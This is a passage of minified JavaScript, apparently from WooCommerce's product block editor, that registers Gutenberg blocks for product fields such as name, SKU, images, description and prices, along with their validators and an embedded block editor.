t(o)},...r})}}:o),[n,o]),[i,c,s]=(0,se.useEntityBlockEditor)("postType","product",{id:r.id});return(0,a.useLayoutEffect)((()=>{s((0,te.synchronizeBlocksWithTemplate)([],null==o?void 0:o.template),{})}),[r.id]),i?(0,a.createElement)("div",{className:"woocommerce-product-block-editor"},(0,a.createElement)(Je.BlockContextProvider,{value:t},(0,a.createElement)(Je.BlockEditorProvider,{value:i,onInput:c,onChange:s,settings:l},(0,a.createElement)(Je.__unstableEditorStyles,{styles:null==l?void 0:l.styles}),(0,a.createElement)("div",{className:"editor-styles-wrapper"},(0,a.createElement)(Je.BlockEditorKeyboardShortcuts.Register,null),(0,a.createElement)(Je.BlockTools,null,(0,a.createElement)(Je.ObserveTyping,null,(0,a.createElement)(Je.BlockList,{className:"woocommerce-product-block-editor__block-list"}))))))):null}function Ye(e){let{initialValue:t,children:o}=e;const r=(0,a.useRef)({}),n=(0,a.useRef)({}),[l,i]=(0,a.useState)({});async function c(e){const o=r.current;return e in o?(0,o[e])(t).then((t=>(i((o=>({...o,[e]:t}))),t))):Promise.resolve(void 0)}return(0,a.createElement)(Be.Provider,{value:{errors:l,registerValidator:function(e,t){return r.current={...r.current,[e]:t},t=>{n.current[e]=t}},validateField:c,validateAll:async function(){const e={},t=r.current;for(const o in t)e[o]=await c(o);i(e);const o=function(e,t){const o=Object.entries(e).filter((e=>{let[o,r]=e;return(null==r?void 0:r.closest('.is-selected[role="tabpanel"]'))&&Boolean(t[o])})),[r]=o.sort(((e,t)=>{let[,o]=e,[,r]=t;return o.compareDocumentPosition(r)&Node.DOCUMENT_POSITION_FOLLOWING?-1:1})),[,n]=null!=r?r:[];return n}(n.current,e);return null==o||o.focus(),e}}},o)}function Xe(e){let{product:t,settings:o}=e;const[r,n]=(0,a.useState)(null),l=(0,ce.useExtendLayout)("product-block-editor");return(0,a.createElement)(ce.LayoutContextProvider,{value:l},(0,a.createElement)(a.StrictMode,null,(0,a.createElement)(se.EntityProvider,{kind:"postType",type:"product",id:t.id},(0,a.createElement)(me.ShortcutProvider,null,(0,a.createElement)(ue,{isActive:!1}),(0,a.createElement)(c.SlotFillProvider,null,(0,a.createElement)(Ye,{initialValue:t},(0,a.createElement)(fe,{header:(0,a.createElement)(Ge,{productName:t.name,onTabSelect:n}),content:(0,a.createElement)(a.Fragment,null,(0,a.createElement)(Ke,{settings:o,product:t,context:{selectedTab:r,postType:"product",postId:t.id}}),(0,a.createElement)(ie.PluginArea,{scope:"woocommerce-product-block-editor"}))}),(0,a.createElement)(c.Popover.Slot,null)))))))}const Ze=window.wp.blockLibrary;function Qe(e){if(!e)return;const{metadata:t,settings:o,name:r}=e;return(0,te.registerBlockType)({name:r,...t},o)}const et=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"woocommerce/product-category-field","title":"Product Category","category":"widgets","description":"A field to select product categories.","keywords":["products","category"],"textdomain":"default","attributes":{"name":{"type":"string","__experimentalRole":"content"},"label":{"type":"string"},"placeholder":{"type":"string"}},"usesContext":["postType"],"supports":{"align":false,"html":false,"multiple":false,"reusable":false,"inserter":false,"lock":false,"__experimentalToolbar":false},"editorStyle":"file:./editor.css"}'),{name:tt}=et,ot={example:{},edit:function(e){let{attributes:t,context:o}=e;const r=(0,Je.useBlockProps)(),{name:n,label:l,placeholder:i}=t,[c,s]=(0,se.useEntityProp)("postType",(null==o?void 0:o.postType)||"product",n||"categories");return(0,a.createElement)("div",{...r},(0,a.createElement)(Q,{label:l||(0,w.__)("Categories","woocommerce"),placeholder:i||(0,w.__)("Search or create categoryโ€ฆ","woocommerce"),onChange:s,value:c||[]}))}},rt=()=>Qe({name:tt,metadata:et,settings:ot});function nt(e){if(!e)return;const{metadata:t,settings:o,name:r}=e;return(0,te.registerBlockType)({name:r,...t},o)}const at=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"woocommerce/product-checkbox-field","title":"Product checkbox control","category":"woocommerce","description":"The product checkbox.","keywords":["products","checkbox","input"],"textdomain":"default","attributes":{"title":{"type":"string","__experimentalRole":"content"},"label":{"type":"string"},"property":{"type":"string"},"tooltip":{"type":"string"}},"supports":{"align":false,"html":false,"multiple":true,"reusable":false,"inserter":false,"lock":false,"__experimentalToolbar":false},"editorStyle":"file:./editor.css"}'),lt=function(e){let{icon:t,size:o=24,...r}=e;return(0,a.cloneElement)(t,{width:o,height:o,...r})},it=(0,a.createElement)(he.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,a.createElement)(he.Path,{d:"M12 4.75a7.25 7.25 0 100 14.5 7.25 7.25 0 000-14.5zM3.25 12a8.75 8.75 0 1117.5 0 8.75 8.75 0 01-17.5 0zM12 8.75a1.5 1.5 0 01.167 2.99c-.465.052-.917.44-.917 1.01V14h1.5v-.845A3 3 0 109 10.25h1.5a1.5 1.5 0 011.5-1.5zM11.25 15v1.5h1.5V15h-1.5z"})),{name:ct}=at,st={example:{},edit:function(e){let{attributes:t}=e;const o=(0,Je.useBlockProps)({className:"woocommerce-product-form__checkbox"}),{property:r,title:n,label:l,tooltip:i}=t,[s,m]=(0,se.useEntityProp)("postType","product",r);return(0,a.createElement)("div",{...o},(0,a.createElement)("h4",null," ",n," "),(0,a.createElement)(c.CheckboxControl,{label:i?(0,a.createInterpolateElement)("<label /> <tooltip />",{label:(0,a.createElement)("span",null,l),tooltip:(0,a.createElement)(c.Tooltip,{text:(0,a.createElement)("span",null,i),position:"top center",className:"woocommerce-product-form__checkbox-tooltip",delay:0},(0,a.createElement)("span",{className:"woocommerce-product-form__checkbox-tooltip-icon"},(0,a.createElement)(lt,{icon:it,size:20,fill:"#949494"})))}):l,checked:s,onChange:e=>m(e)}))}},mt=()=>nt({name:ct,metadata:at,settings:st}),ut=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"woocommerce/product-collapsible","title":"Collapsible","category":"widgets","description":"Container with collapsible inner blocks.","textdomain":"default","attributes":{"toggleText":{"type":"string","__experimentalRole":"content"},"initialCollapsed":{"type":"boolean"},"persistRender":{"type":"boolean"}},"supports":{"align":false,"html":false,"multiple":true,"reusable":false,"inserter":false,"lock":false,"__experimentalToolbar":false}}'),{name:dt}=ut,pt={example:{},edit:function(e){let{attributes:t}=e;const o=(0,Je.useBlockProps)(),{toggleText:r,initialCollapsed:n,persistRender:i=!0}=t;return(0,a.createElement)("div",{...o},(0,a.createElement)(l.CollapsibleContent,{toggleText:r,initialCollapsed:n,persistRender:i},(0,a.createElement)(Je.InnerBlocks,{templateLock:"all"})))}},_t=()=>Qe({name:dt,metadata:ut,settings:pt}),ft=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"woocommerce/conditional","title":"Conditional","category":"widgets","description":"Container to only conditionally render inner blocks.","textdomain":"default","attributes":{"mustMatch":{"__experimentalRole":"content","type":"array","items":{"type":"object"},"default":[]}},"supports":{"align":false,"html":false,"multiple":true,"reusable":false,"inserter":false,"lock":false,"__experimentalToolbar":false}}'),{name:ht}=ft,gt={example:{},edit:function(e){let{attributes:t}=e;const o=(0,Je.useBlockProps)(),{mustMatch:r}=t,n=(0,se.useEntityId)("postType","product"),i=(0,b.useSelect)((e=>e("core").getEditedEntityRecord("postType","product",n))),c=(0,a.useMemo)((()=>{for(const[e,t]of Object.entries(r))if(!t.includes(i[e]))return!1;return!0}),[r,i]);return(0,a.createElement)("div",{...o},(0,a.createElement)(l.DisplayState,{state:c?"visible":"visually-hidden"},(0,a.createElement)(Je.InnerBlocks,{templateLock:"all"})))}},bt=()=>Qe({name:ht,metadata:ft,settings:gt}),wt=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"woocommerce/product-description-field","title":"Product description","category":"woocommerce","description":"The product description.","keywords":["products","description"],"textdomain":"default","attributes":{"__contentEditable":{"type":"string","__experimentalRole":"content"}},"supports":{"align":false,"html":false,"multiple":true,"reusable":false,"inserter":false,"lock":false,"__experimentalToolbar":false}}');var Et=o(74944);const vt=["a","b","em","i","strong","p","br"],yt=["target","href","rel","name","download"];function kt(e,t){const o=(null==t?void 0:t.tags)||vt,r=(null==t?void 0:t.attr)||yt;return{__html:(0,Et.sanitize)(e,{ALLOWED_TAGS:o,ALLOWED_ATTR:r})}}const Ct=["a","b","em","i","strong","p","br","img","blockquote","cite","h1","h2","h3","h4","h5","h6","ul","li","ol","div"],St=["target","href","rel","name","download","src","style","class"];function Tt(e){let{content:t}=e;return(0,a.createElement)("div",{className:"woocommerce-content-preview",dangerouslySetInnerHTML:kt(t,{tags:Ct,attr:St})})}const Nt=(0,a.createElement)(he.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,a.createElement)(he.Path,{d:"M20 10.8H6.7l4.1-4.5-1.1-1.1-5.8 6.3 5.8 5.8 1.1-1.1-4-3.9H20z"}));function xt(e){let{onClick:t}=e;return(0,a.createElement)(c.Button,{className:"woocommerce-iframe-editor__back-button",icon:Nt,onClick:t},(0,w.__)("Back","woocommerce"))}function Pt(e){let{children:t,enableResizing:o,settings:r,...n}=e;const l=(0,Je.__unstableUseMouseMoveTypingReset)();return(0,a.createElement)(Je.__unstableIframe,{head:(0,a.createElement)(a.Fragment,null,(0,a.createElement)(Je.__unstableEditorStyles,{styles:null==r?void 0:r.styles}),(0,a.createElement)("style",null,".is-root-container {\n\t\t\t\t\t\t\t\tpadding: 36px;\n\t\t\t\t\t\t\t\tdisplay: flow-root;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbody { position: relative; }"),o&&(0,a.createElement)("style",null,".is-root-container { min-height: 0 !important; }")),ref:l,name:"editor-canvas",className:"edit-site-visual-editor__editor-canvas",...n},t)}const It=window.wp.keycodes;function At(e){let{direction:t,resizeWidthBy:o}=e;return(0,a.createElement)(a.Fragment,null,(0,a.createElement)("button",{className:`resizable-editor__drag-handle is-${t}`,"aria-label":(0,w.__)("Drag to resize","woocommerce"),"aria-describedby":`resizable-editor__resize-help-${t}`,onKeyDown:function(e){const{keyCode:r}=e;"left"===t&&r===It.LEFT||"right"===t&&r===It.RIGHT?o(20):("left"===t&&r===It.RIGHT||"right"===t&&r===It.LEFT)&&o(-20)}}),(0,a.createElement)(c.VisuallyHidden,{id:`resizable-editor__resize-help-${t}`},(0,w.__)("Use left and right arrow keys to resize the canvas.","woocommerce")))}const Ot={position:void 0,userSelect:void 0,cursor:void 0,width:void 0,height:void 0,top:void 0,right:void 0,bottom:void 0,left:void 0};function Rt(e){let{enableResizing:t,height:o,children:r}=e;const[n,l]=(0,a.useState)("100%"),i=(0,a.useRef)(),s=(0,a.useCallback)((e=>{i.current&&l(i.current.offsetWidth+e)}),[]);return(0,a.createElement)(c.ResizableBox,{ref:e=>{i.current=null==e?void 0:e.resizable},size:{width:t?n:"100%",height:t&&o?o:"100%"},onResizeStop:(e,t,o)=>{l(o.style.width)},minWidth:300,maxWidth:"100%",maxHeight:"100%",minHeight:o,enable:{right:t,left:t},showHandle:t,resizeRatio:2,handleComponent:{left:(0,a.createElement)(At,{direction:"left",resizeWidthBy:s}),right:(0,a.createElement)(At,{direction:"right",resizeWidthBy:s})},handleClasses:void 0,handleStyles:{left:Ot,right:Ot}},r)}function Mt(e){let{initialBlocks:t=[],onChange:o=(()=>{}),onClose:r,onInput:n,settings:l}=e;var i;const[s,m]=(0,q.useResizeObserver)(),[u,d]=(0,a.useState)(t),{clearSelectedBlock:p,updateSettings:_}=(0,b.useDispatch)(Je.store),f=(0,b.useSelect)((e=>e(Je.store).getSettings()),[]);(0,a.useEffect)((()=>{_(productBlockEditorSettings)}),[]);const h=l||f;return(0,a.createElement)("div",{className:"woocommerce-iframe-editor"},(0,a.createElement)(Je.BlockEditorProvider,{settings:{...h,hasFixedToolbar:!0,templateLock:!1},value:u,onChange:e=>{d(e),o(e)},onInput:n,useSubRegistry:!0},(0,a.createElement)(Je.BlockTools,{className:"woocommerce-iframe-editor__content",onClick:e=>{e.target===e.currentTarget&&p()}},(0,a.createElement)(Je.BlockEditorKeyboardShortcuts.Register,null),r&&(0,a.createElement)(xt,{onClick:()=>{setTimeout(r,550)}}),(0,a.createElement)(Rt,{enableResizing:!0,height:null!==(i=m.height)&&void 0!==i?i:"100%"},(0,a.createElement)(Pt,{enableResizing:!0,settings:h},s,(0,a.createElement)(Je.BlockList,{className:"edit-site-block-editor__block-list wp-site-blocks"})),(0,a.createElement)(c.Popover.Slot,null))),(0,a.createElement)("div",{className:"woocommerce-iframe-editor__sidebar"},(0,a.createElement)(Je.BlockInspector,null))))}function Lt(e){let{initialBlocks:t,onChange:o,onClose:r,title:n}=e;const l=(0,q.useDebounce)((e=>{o(e)}),250);return(0,a.createElement)(c.Modal,{className:"woocommerce-modal-editor",title:n,onRequestClose:function(){const e=l.flush();e&&o(e),r()},shouldCloseOnClickOutside:!1},(0,a.createElement)(Mt,{initialBlocks:t,onInput:l,onChange:l}))}const{name:Ft}=wt,Bt={example:{},edit:function(){const e=(0,Je.useBlockProps)(),[t,o]=(0,a.useState)(!1),[r,n]=(0,se.useEntityProp)("postType","product","description");return(0,a.createElement)("div",{...e},(0,a.createElement)(c.Button,{variant:"secondary",onClick:()=>o(!0)},r.length?(0,w.__)("Edit description","woocommerce"):(0,w.__)("Add description","woocommerce")),t&&(0,a.createElement)(Lt,{initialBlocks:(0,te.parse)(r),onChange:e=>{const t=(0,te.serialize)(e);n(t)},onClose:()=>o(!1),title:(0,w.__)("Edit description","woocommerce")}),!!r.length&&(0,a.createElement)(Tt,{content:r}))}},Dt=()=>nt({name:Ft,metadata:wt,settings:Bt}),Vt=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"woocommerce/product-images-field","title":"Product images","category":"widgets","description":"The product images.","keywords":["products","image","images","gallery"],"textdomain":"default","attributes":{"mediaId":{"type":"number","__experimentalRole":"content"},"images":{"__experimentalRole":"content","type":"array","items":{"type":"number"},"default":[]}},"supports":{"align":false,"html":false,"multiple":false,"reusable":false,"inserter":false,"lock":false,"__experimentalToolbar":false},"editorStyle":"file:./editor.css"}'),zt=(0,a.createElement)(he.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,a.createElement)(he.Path,{d:"M20 5h-5.7c0-1.3-1-2.3-2.3-2.3S9.7 3.7 9.7 5H4v2h1.5v.3l1.7 11.1c.1 1 1 1.7 2 1.7h5.7c1 0 1.8-.7 2-1.7l1.7-11.1V7H20V5zm-3.2 2l-1.7 11.1c0 .1-.1.2-.3.2H9.1c-.1 0-.3-.1-.3-.2L7.2 7h9.6z"})),{name:Ht}=Vt,Ut={example:{},edit:function(){const[e,t]=(0,se.useEntityProp)("postType","product","images"),[o,r]=(0,a.useState)(!1),[n,i]=(0,a.useState)(!1),[s,m]=(0,a.useState)(null),u=(0,Je.useBlockProps)({className:_e()({"has-images":e.length>0})}),d=()=>{r(!o)};return(0,a.createElement)("div",{...u},(0,a.createElement)("div",{className:"woocommerce-product-form__image-drop-zone"},o?(0,a.createElement)("div",{className:"woocommerce-product-form__remove-image-drop-zone"},(0,a.createElement)("span",null,(0,a.createElement)(lt,{icon:zt,size:20,className:"icon-control"}),(0,w.__)("Drop here to remove","woocommerce")),(0,a.createElement)(c.DropZone,{onHTMLDrop:()=>i(!0),onDrop:()=>i(!0),label:(0,w.__)("Drop here to remove","woocommerce")})):(0,a.createElement)(l.MediaUploader,{multipleSelect:!0,onError:()=>null,onFileUploadChange:o=>{o[0].id&&((0,N.recordEvent)("product_images_add_via_file_upload_area"),t([...e,...o]))},onSelect:o=>{const r=o.filter((t=>!e.find((e=>e.id===t.id))));r.length>0&&((0,N.recordEvent)("product_images_add_via_media_library"),t([...e,...r]))},onUpload:o=>{o[0].id&&((0,N.recordEvent)("product_images_add_via_drag_and_drop_upload"),t([...e,...o]))},label:""})),(0,a.createElement)(l.ImageGallery,{allowDragging:!1,onDragStart:t=>{var o;const{id:r,dataset:n}=t.target;if(r)m(parseInt(r,10));else{const t=null==n?void 0:n.index;t&&m(null===(o=e[parseInt(t,10)])||void 0===o?void 0:o.id)}d()},onDragEnd:()=>{n&&s&&((0,N.recordEvent)("product_images_remove_image_button_click"),t(e.filter((e=>e.id!==s))),i(!1),m(null)),d()},onOrderChange:o=>{const r=o.map((t=>e.find((e=>{var o;return e.id===parseInt(null===(o=null==t?void 0:t.props)||void 0===o?void 0:o.id,10)}))));(0,N.recordEvent)("product_images_change_image_order_via_image_gallery"),t(r)},onReplace:o=>{let{replaceIndex:r,media:n}=o;if(void 0===e.find((e=>n.id===e.id))){const o=[...e];o[r]=n,(0,N.recordEvent)("product_images_replace_image_button_click"),t(o)}},onSelectAsCover:()=>(0,N.recordEvent)("product_images_select_image_as_cover_button_click")},e.map((e=>(0,a.createElement)(l.ImageGalleryItem,{key:e.id||e.url,alt:e.alt,src:e.url||e.src,id:`${e.id}`})))))}},$t=()=>Qe({name:Ht,metadata:Vt,settings:Ut}),jt=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"woocommerce/product-inventory-email-field","title":"Stock level threshold","category":"widgets","description":"Stock management minimum quantity.","keywords":["products","inventory","email","minimum"],"textdomain":"default","attributes":{"name":{"type":"string","__experimentalRole":"content"}},"supports":{"align":false,"html":false,"multiple":false,"reusable":false,"inserter":false,"lock":false,"__experimentalToolbar":false},"editorStyle":"file:./editor.css"}'),Wt=window.wc.wcSettings;function Gt(e,t){let o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:[];const r=(0,a.useContext)(Be),[n,l]=(0,a.useState)(!1),i=(0,a.useMemo)((()=>r.registerValidator(e,t)),[e,...o]);return{ref:i,error:r.errors[e],isValidating:n,validate:async()=>(l(!0),r.validateField(e).finally((()=>{l(!1)})))}}const{name:qt,...Jt}=jt,Kt={example:{},edit:function(e){let{clientId:t}=e;const o=(0,Je.useBlockProps)(),r=(0,Wt.getSetting)("notifyLowStockAmount",2),[n,i]=(0,se.useEntityProp)("postType","product","low_stock_amount"),s=(0,q.useInstanceId)(c.BaseControl,"low_stock_amount"),{ref:m,error:u,validate:d}=Gt(`low_stock_amount-${t}`,(async function(){if(n&&n<0)return(0,w.__)("This field must be a positive number.","woocommerce")}),[n]);return(0,a.createElement)(a.Fragment,null,(0,a.createElement)("div",{...o},(0,a.createElement)("div",{className:"wp-block-columns"},(0,a.createElement)("div",{className:"wp-block-column"},(0,a.createElement)(c.BaseControl,{id:s,label:(0,w.__)("Email me when stock reaches","woocommerce"),help:u||(0,a.createInterpolateElement)((0,w.__)("Make sure to enable notifications in <link>store settings.</link>","woocommerce"),{link:(0,a.createElement)(l.Link,{href:`${(0,Wt.getSetting)("adminUrl")}admin.php?page=wc-settings&tab=products&section=inventory`,target:"_blank",type:"external"})}),className:u&&"has-error"},(0,a.createElement)(c.__experimentalInputControl,{id:s,ref:m,name:"low_stock_amount",placeholder:(0,w.sprintf)((0,w.__)("%d (store default)","woocommerce"),r),onChange:i,onBlur:d,value:n,type:"number",min:0}))),(0,a.createElement)("div",{className:"wp-block-column"}))))}};function Yt(){return Qe({name:qt,metadata:Jt,settings:Kt})}const Xt=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"woocommerce/product-sku-field","title":"Product text control","category":"woocommerce","description":"The product sku.","keywords":["products","sku"],"textdomain":"default","attributes":{"name":{"type":"string","__experimentalRole":"content"}},"supports":{"align":false,"html":false,"multiple":true,"reusable":false,"inserter":false,"lock":false,"__experimentalToolbar":false},"editorStyle":"file:./editor.css"}'),{name:Zt}=Xt,Qt={example:{},edit:function(){const e=(0,Je.useBlockProps)(),[t,o]=(0,se.useEntityProp)("postType","product","sku");return(0,a.createElement)("div",{...e},(0,a.createElement)(c.BaseControl,{id:"product_sku",className:"woocommerce-product-form_inventory-sku",label:(0,a.createInterpolateElement)((0,w.__)("Sku <description />","woocommerce"),{description:(0,a.createElement)("span",{className:"woocommerce-product-form__optional-input"},(0,w.__)("(STOCK KEEPING UNIT)","woocommerce"))})},(0,a.createElement)(c.__experimentalInputControl,{name:"woocommerce-product-sku",onChange:o,value:t||""})))}},eo=()=>nt({name:Zt,metadata:Xt,settings:Qt}),to=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"woocommerce/product-name-field","title":"Product name","category":"widgets","description":"The product name.","keywords":["products","name","title"],"textdomain":"default","attributes":{"name":{"type":"string","__experimentalRole":"content"}},"supports":{"align":false,"html":false,"multiple":false,"reusable":false,"inserter":false,"lock":false,"__experimentalToolbar":false},"editorStyle":"file:./editor.css"}'),{name:oo}=to,ro={example:{},edit:function(){const e=(0,Je.useBlockProps)(),{editEntityRecord:t,saveEntityRecord:o}=(0,b.useDispatch)("core"),[r,n]=(0,a.useState)(!1),l=(0,se.useEntityId)("postType","product"),i=(0,b.useSelect)((e=>e("core").getEditedEntityRecord("postType","product",l))),[s,m]=(0,se.useEntityProp)("postType","product","sku"),[u,d]=(0,se.useEntityProp)("postType","product","name"),{permalinkPrefix:p,permalinkSuffix:_}=(0,b.useSelect)((e=>{const{getPermalinkParts:t}=e(v.PRODUCTS_STORE_NAME);if(l){const e=t(l);return{permalinkPrefix:null==e?void 0:e.prefix,permalinkSuffix:null==e?void 0:e.suffix}}return{}})),{ref:f,error:h,validate:g}=Gt("name",(async function(){return u&&u!==O?u.length>120?(0,w.__)("Please enter a product name shorter than 120 characters.","woocommerce"):void 0:(0,w.__)("This field is required.","woocommerce")}),[u]),y=null!=h?h:l&&["publish","draft"].includes(i.status)&&p&&(0,a.createElement)("span",{className:"woocommerce-product-form__secondary-text product-details-section__product-link"},(0,w.__)("Product link","woocommerce"),":ย ",(0,a.createElement)("a",{href:i.permalink,target:"_blank",rel:"noreferrer"},p,i.slug||(0,E.cleanForSlug)(u),_),(0,a.createElement)(c.Button,{variant:"link",onClick:()=>n(!0)},(0,w.__)("Edit","woocommerce"))),k=(0,q.useInstanceId)(c.BaseControl,"product_name");return(0,a.createElement)(a.Fragment,null,(0,a.createElement)("div",{...e},(0,a.createElement)(c.BaseControl,{id:k,label:(0,a.createInterpolateElement)((0,w.__)("Name <required />","woocommerce"),{required:(0,a.createElement)("span",{className:"woocommerce-product-form__required-input"},(0,w.__)("*","woocommerce"))}),className:_e()({"has-error":h}),help:y},(0,a.createElement)(c.__experimentalInputControl,{id:k,ref:f,name:"name",placeholder:(0,w.__)("e.g. 12 oz Coffee Mug","woocommerce"),onChange:d,value:u&&u!==O?u:"",onBlur:()=>{s||h||m((0,E.cleanForSlug)(u)),g()}})),r&&(0,a.createElement)(x,{permalinkPrefix:p||"",permalinkSuffix:_||"",product:i,onCancel:()=>n(!1),onSaved:()=>n(!1),saveHandler:async e=>{const{slug:r,permalink:n}=await o("postType","product",{id:i.id,slug:e});if(r&&n)return t("postType","product",i.id,{slug:r,permalink:n}),{slug:r,permalink:n}}})))}},no=()=>Qe({name:oo,metadata:to,settings:ro}),ao=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"woocommerce/product-pricing-field","description":"A product price block with currency display.","title":"Product pricing","category":"widgets","keywords":["products","price"],"textdomain":"default","attributes":{"name":{"type":"string","__experimentalRole":"content"},"label":{"type":"string"},"help":{"type":"string"}},"supports":{"align":false,"html":false,"multiple":false,"reusable":false,"inserter":false,"lock":false,"__experimentalToolbar":false},"editorStyle":"file:./editor.css"}'),lo=e=>{let{value:t,setValue:o,onFocus:r,onKeyUp:n}=e;const{sanitizePrice:l}=L(),i=(0,a.useContext)(I.CurrencyContext),{getCurrencyConfig:c}=i;return{prefix:c().symbol,className:"half-width-field components-currency-control",sanitize:e=>l(String(e)),onFocus(e){setTimeout((function(e){e.select()}),0,e.currentTarget),r&&r(e)},onKeyUp(e){const r=Number.parseFloat(l(t||"0")),a=Number(e.currentTarget.step||"1");"ArrowUp"===e.code&&o(String(r+a)),"ArrowDown"===e.code&&o(String(r-a)),n&&n(e)}}},io=(e,t,o)=>{const{decimalSeparator:r,thousandSeparator:n}=t,a=new RegExp("[^-0-9%s1%s2]".replace("%s1",r).replace("%s2",n),"g");return void 0===e?e:o(e).replace(a,"")},{name:co,...so}=ao,mo={example:{},edit:function(e){let{attributes:t}=e;const o=(0,Je.useBlockProps)(),{name:r,label:n,help:i}=t,[s,m]=(0,se.useEntityProp)("postType","product",r),u=(0,a.useContext)(I.CurrencyContext),{getCurrencyConfig:d,formatAmount:p}=u,_=d(),f=lo({value:s,setValue:m}),h=i?(0,a.createInterpolateElement)(i,{PricingTab:(0,a.createElement)(l.Link,{href:(0,Le.getNewPath)({tab:"pricing"}),onClick:()=>{(0,N.recordEvent)("product_pricing_help_click")}})}):null,g=(0,q.useInstanceId)(c.BaseControl,"wp-block-woocommerce-product-pricing-field");return(0,a.createElement)("div",{...o},(0,a.createElement)(c.BaseControl,{id:g,help:h},(0,a.createElement)(c.__experimentalInputControl,{...f,id:g,name:r,onChange:m,label:n||(0,w.__)("Price","woocommerce"),value:io(String(s),_,p)})))}};function uo(){return Qe({name:co,metadata:so,settings:mo})}const po=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"woocommerce/product-radio-field","title":"Product radio control","category":"woocommerce","description":"The product radio.","keywords":["products","radio","input"],"textdomain":"default","attributes":{"title":{"type":"string"},"description":{"type":"string"},"property":{"type":"string"},"options":{"type":"array","items":{"type":"object"},"default":[],"__experimentalRole":"content"}},"supports":{"align":false,"html":false,"multiple":true,"reusable":false,"inserter":false,"lock":false,"__experimentalToolbar":false}}');function _o(e){let{title:t,description:o,className:r,...n}=e;return(0,a.createElement)(c.RadioControl,{...n,className:_e()(r,"woocommerce-radio-field"),label:(0,a.createElement)(a.Fragment,null,(0,a.createElement)("span",{className:"woocommerce-radio-field__title"},t),o&&(0,a.createElement)("span",{className:"woocommerce-radio-field__description",dangerouslySetInnerHTML:kt(o)}))})}const{name:fo,...ho}=po,go={example:{},edit:function(e){let{attributes:t}=e;const o=(0,Je.useBlockProps)(),{description:r,options:n,property:l,title:i}=t,[c,s]=(0,se.useEntityProp)("postType","product",l);return(0,a.createElement)("div",{...o},(0,a.createElement)(_o,{title:i,description:r,selected:c,options:n,onChange:e=>s(e||"")}))}};function bo(){return Qe({name:fo,metadata:ho,settings:go})}const wo=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"woocommerce/product-regular-price-field","description":"A product price block with currency display.","title":"Product regular price","category":"widgets","keywords":["products","price"],"textdomain":"default","attributes":{"label":{"type":"string","__experimentalRole":"content"},"help":{"type":"string"}},"supports":{"align":false,"html":false,"multiple":false,"reusable":false,"inserter":false,"lock":false,"__experimentalToolbar":false},"editorStyle":"file:./editor.css"}'),{name:Eo,...vo}=wo,yo={example:{},edit:function(e){let{attributes:t,clientId:o}=e;const r=(0,Je.useBlockProps)(),{label:n,help:i}=t,[s,m]=(0,se.useEntityProp)("postType","product","regular_price"),[u]=(0,se.useEntityProp)("postType","product","sale_price"),d=(0,a.useContext)(I.CurrencyContext),{getCurrencyConfig:p,formatAmount:_}=d,f=p(),h=lo({value:s,setValue:m}),g=i?(0,a.createInterpolateElement)(i,{PricingTab:(0,a.createElement)(l.Link,{href:(0,Le.getNewPath)({tab:"pricing"}),onClick:()=>{(0,N.recordEvent)("product_pricing_help_click")}})}):null,b=(0,q.useInstanceId)(c.BaseControl,"wp-block-woocommerce-product-regular-price-field"),{ref:E,error:v,validate:y}=Gt(`regular_price-${o}`,(async function(){const e=Number.parseFloat(s);if(e){if(e<0)return(0,w.__)("List price must be greater than or equals to zero.","woocommerce");if(u&&e<=Number.parseFloat(u))return(0,w.__)("List price must be greater than the sale price.","woocommerce")}}),[s,u]);return(0,a.createElement)("div",{...r},(0,a.createElement)(c.BaseControl,{id:b,help:v||g,className:_e()({"has-error":v})},(0,a.createElement)(c.__experimentalInputControl,{...h,id:b,name:"regular_price",ref:E,label:n,value:io(String(s),f,_),onChange:m,onBlur:y})))}};function ko(){return Qe({name:Eo,metadata:vo,settings:yo})}const Co=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"woocommerce/product-sale-price-field","description":"A product price block with currency display.","title":"Product sale price","category":"widgets","keywords":["products","price"],"textdomain":"default","attributes":{"label":{"type":"string","__experimentalRole":"content"},"help":{"type":"string"}},"supports":{"align":false,"html":false,"multiple":false,"reusable":false,"inserter":false,"lock":false,"__experimentalToolbar":false},"editorStyle":"file:./editor.css"}'),{name:So,...To}=Co,No={example:{},edit:function(e){let{attributes:t,clientId:o}=e;const r=(0,Je.useBlockProps)(),{label:n,help:l}=t,[i]=(0,se.useEntityProp)("postType","product","regular_price"),[s,m]=(0,se.useEntityProp)("postType","product","sale_price"),u=(0,a.useContext)(I.CurrencyContext),{getCurrencyConfig:d,formatAmount:p}=u,_=d(),f=lo({value:s,setValue:m}),h=(0,q.useInstanceId)(c.BaseControl,"wp-block-woocommerce-product-sale-price-field"),{ref:g,error:b,validate:E}=Gt(`sale-price-${o}`,(async function(){if(s){if(Number.parseFloat(s)<0)return(0,w.__)("Sale price must be greater than or equals to zero.","woocommerce");const e=Number.parseFloat(i);if(!e||e<=Number.parseFloat(s))return(0,w.__)("Sale price must be lower than the list price.","woocommerce")}}),[i,s]);return(0,a.createElement)("div",{...r},(0,a.createElement)(c.BaseControl,{id:h,help:b||l,className:_e()({"has-error":b})},(0,a.createElement)(c.__experimentalInputControl,{...f,id:h,name:"sale_price",ref:g,onChange:m,label:n,value:io(String(s),_,p),onBlur:E})))}};function xo(){return Qe({name:So,metadata:To,settings:No})}const 